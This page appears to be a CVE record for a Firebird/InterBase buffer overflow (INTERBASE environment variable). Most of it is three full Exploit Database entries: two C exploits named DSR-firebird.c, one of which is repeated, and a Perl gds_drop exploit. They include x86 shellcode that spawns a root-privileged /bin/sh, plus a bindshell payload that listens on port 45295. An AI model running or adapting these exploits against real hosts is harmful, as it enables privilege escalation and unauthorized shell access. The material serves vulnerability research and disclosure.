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CVE Descriptions
Buffer overflow in Firebird 1.0.2 and other versions before 1.5, and possibly other products that use the InterBase codebase, allows local users to execute arbitrary code via a long INTERBASE environment variable when calling (1) gds_inet_server, (2) gds_lock_mgr, or (3) gds_drop.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 4.6 | AV:L/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 29
Publication date : 2003-05-11 22h00 +00:00
Author : bob
EDB Verified : Yes
/* DSR-firebird.c
-------------------------------
Tested on: Firebird 1.0.2 FreeBSD 4.7-RELEASE
This is Proof Of concept code.
bash-2.05a$ ./DSR-firebird
( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )
( ( by - bob@dtors.net ) )
----------------------------------------------------
Usage: ./DSR-firebird <target#>
Targets:
1. [0xbfbff75d] - gds_inet_server
2. [0xbfbff75c] - gds_lock_mgr
3. [0xbfbff75e] - gds_drop
bash-2.05a$
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LOCK "/usr/local/firebird/bin/gds_lock_mgr"
#define DROP "/usr/local/firebird/bin/gds_drop"
#define INET "/usr/local/firebird/bin/gds_inet_server"
#define LEN 1056
char dropcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
char inetcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
char lockcode[]=
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" //setuid[firebird] by
bob
"\x31\xc0\x31\xdb\x53\xb3\x06\x53" //fork() bindshell by eSDee
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x89\xc7\x31\xc0\x50"
"\x50\x50\x66\x68\xb0\xef\xb7\x02"
"\x66\x53\x89\xe1\x31\xdb\xb3\x10"
"\x53\x51\x57\x50\xb0\x68\xcd\x80"
"\x31\xdb\x39\xc3\x74\x06\x31\xc0"
"\xb0\x01\xcd\x80\x31\xc0\x50\x57"
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
"\xdb\x50\x89\xe1\xb3\x01\x53\x89"
"\xe2\x50\x51\x52\xb3\x14\x53\x50"
"\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x44\x31\xc0\x57\x50"
"\xb0\x06\xcd\x80\x31\xc0\x50\x56"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
"\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
"\x80\x31\xc0\x43\x53\x56\x50\xb0"
"\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x54\x53\x50\xb0\x3b"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x56\x50\xb0\x06\xcd\x80"
"\xeb\x9a";
char *decide(char *string)
{
if(!(strcmp(string, "1")))
return((char *)&inetcode);
if(!(strcmp(string, "2")))
return((char *)&lockcode);
if(!(strcmp(string, "3")))
return((char *)&dropcode);
exit(0);
}
int main(int argc, char **argv)
{
unsigned long ret = 0xbfbff743;
char *selectcode;
char buffer[LEN];
char egg[1024];
char *ptr;
int i=0;
if(argc < 2)
{
printf("( ( Firebird-1.0.2 Local exploit for Freebsd
4.7 ) )\n");
printf("( ( by -
bob@dtors.net ) )\n");
printf("---------------------------------------------------
-\n\n");
printf("Usage: %s <target#> \n", argv[0]);
printf("Targets:\n");
printf("1. [0xbfbff743] - gds_inet_server\n");
printf("2. [0xbfbff743] - gds_lock_mgr\n");
printf("3. [0xbfbff743] - gds_drop\n");
printf("\nwww.dtors.net\n");
exit(0);
}
selectcode = (char *)decide(argv[1]);
memset(buffer, 0x41, sizeof(buffer));
ptr = egg;
for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90;
for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode[i];
egg[1024 - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(&buffer[1052],(char *)&ret,4);
buffer[1056] = 0;
setenv("INTERBASE", buffer, 1);
fprintf(stdout, "Return Address: 0x%x\n", ret);
fprintf(stdout, "Buffer Size: %d\n", LEN);
fprintf(stdout, "Setuid [90]\n");
if(selectcode == (char *)&inetcode)
{
execl(INET, INET, NULL);
return 0;
}
if(selectcode == (char *)&lockcode)
{
printf("\nShell is on port 45295\nExploit will hang!\n");
execl(LOCK, LOCK, NULL);
return 0;
}
if(selectcode == (char *)&dropcode)
{
execl(DROP, DROP, NULL);
return 0;
}
return 0;
}
// milw0rm.com [2003-05-12]
Exploit Database EDB-ID : 21565
Publication date : 2002-06-14 22h00 +00:00
Author : stripey
EDB Verified : Yes
source: https://www.securityfocus.com/bid/5044/info
Interbase is a database distributed and maintained by Borland. It is available for Unix and Linux operating systems.
A buffer overflow has been discovered in the gds_drop program packaged with Interbase. This problem could allow a local user to execute the program with strings of arbitrary length. By using a custom crafted string, the attacker could overwrite stack memory, including the return address of a function, and potentially execute arbitrary code.
Firebird is based on Borland/Inprise Interbase source code and is therefore also prone to this issue. *
#!/usr/bin/perl -w
#
# gds_drop exploit for Interbase 6.0 linux beta
#
# - tested on redhat 7.2
#
# - Developed in the Snosoft Cerebrum test labs
# - (http://www.snosoft.com) - overflow found by KF
#
# coded by stripey - 15/06/2002 (stripey@snosoft.com)
#
($offset) = @ARGV,$offset || ($offset = 0);
$sc = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";
$ENV{"FOO"} = $sc;
$buf = pack("l",(0xbffffdc0+$offset))x86;
$buf .= "A";
$ENV{"INTERBASE"} = $buf;
exec("/usr/local/interbase/bin/gds_drop");
Exploit Database EDB-ID : 21566
Publication date : 2002-06-17 22h00 +00:00
Author : bob
EDB Verified : Yes
// source: https://www.securityfocus.com/bid/5044/info
Interbase is a database distributed and maintained by Borland. It is available for Unix and Linux operating systems.
A buffer overflow has been discovered in the gds_drop program packaged with Interbase. This problem could allow a local user to execute the program with strings of arbitrary length. By using a custom crafted string, the attacker could overwrite stack memory, including the return address of a function, and potentially execute arbitrary code.
Firebird is based on Borland/Inprise Interbase source code and is therefore also prone to this issue.
/* DSR-firebird.c by bob@dtors.net
-------------------------------
Tested on: Firebird 1.0.2 FreeBSD 4.7-RELEASE
bash-2.05a$ ./DSR-firebird
( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )
( ( by - bob@dtors.net ) )
----------------------------------------------------
Usage: ./DSR-firebird <target#>
Targets:
1. [0xbfbff75d] - gds_inet_server
2. [0xbfbff75c] - gds_lock_mgr
3. [0xbfbff75e] - gds_drop
www.dtors.net
bash-2.05a$
Thanks goto eSDee && ilja for helping me
with the gds_lock_mgr problems.
bob@dtors.net
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LOCK "/usr/local/firebird/bin/gds_lock_mgr"
#define DROP "/usr/local/firebird/bin/gds_drop"
#define INET "/usr/local/firebird/bin/gds_inet_server"
#define LEN 1056
char dropcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
char inetcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
char lockcode[]=
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" file://setuid[firebird] by bob
"\x31\xc0\x31\xdb\x53\xb3\x06\x53" file://fork() bindshell by eSDee
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x89\xc7\x31\xc0\x50"
"\x50\x50\x66\x68\xb0\xef\xb7\x02"
"\x66\x53\x89\xe1\x31\xdb\xb3\x10"
"\x53\x51\x57\x50\xb0\x68\xcd\x80"
"\x31\xdb\x39\xc3\x74\x06\x31\xc0"
"\xb0\x01\xcd\x80\x31\xc0\x50\x57"
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
"\xdb\x50\x89\xe1\xb3\x01\x53\x89"
"\xe2\x50\x51\x52\xb3\x14\x53\x50"
"\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x44\x31\xc0\x57\x50"
"\xb0\x06\xcd\x80\x31\xc0\x50\x56"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
"\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
"\x80\x31\xc0\x43\x53\x56\x50\xb0"
"\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x54\x53\x50\xb0\x3b"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x56\x50\xb0\x06\xcd\x80"
"\xeb\x9a";
char *decide(char *string)
{
if(!(strcmp(string, "1")))
return((char *)&inetcode);
if(!(strcmp(string, "2")))
return((char *)&lockcode);
if(!(strcmp(string, "3")))
return((char *)&dropcode);
exit(0);
}
int main(int argc, char **argv)
{
unsigned long ret = 0xbfbff743;
char *selectcode;
char buffer[LEN];
char egg[1024];
char *ptr;
int i=0;
if(argc < 2)
{
printf("( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )\n");
printf("( ( by - bob@dtors.net ) )\n");
printf("----------------------------------------------------\n\n");
printf("Usage: %s <target#> \n", argv[0]);
printf("Targets:\n");
printf("1. [0xbfbff743] - gds_inet_server\n");
printf("2. [0xbfbff743] - gds_lock_mgr\n");
printf("3. [0xbfbff743] - gds_drop\n");
printf("\nwww.dtors.net\n");
exit(0);
}
selectcode = (char *)decide(argv[1]);
memset(buffer, 0x41, sizeof(buffer));
ptr = egg;
for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90;
for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode[i];
egg[1024 - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(&buffer[1052],(char *)&ret,4);
buffer[1056] = 0;
setenv("INTERBASE", buffer, 1);
fprintf(stdout, "Return Address: 0x%x\n", ret);
fprintf(stdout, "Buffer Size: %d\n", LEN);
fprintf(stdout, "Setuid [90]\n");
if(selectcode == (char *)&inetcode)
{
execl(INET, INET, NULL);
return 0;
}
if(selectcode == (char *)&lockcode)
{
printf("\nShell is on port 45295\nExploit will hang!\n");
execl(LOCK, LOCK, NULL);
return 0;
}
if(selectcode == (char *)&dropcode)
{
execl(DROP, DROP, NULL);
return 0;
}
return 0;
}
Products Mentioned
Configuraton 0
Firebirdsql>>Firebird >> Version 1.0.2
- Firebirdsql>>Firebird >> Version 1.0.2 (Open CPE detail)
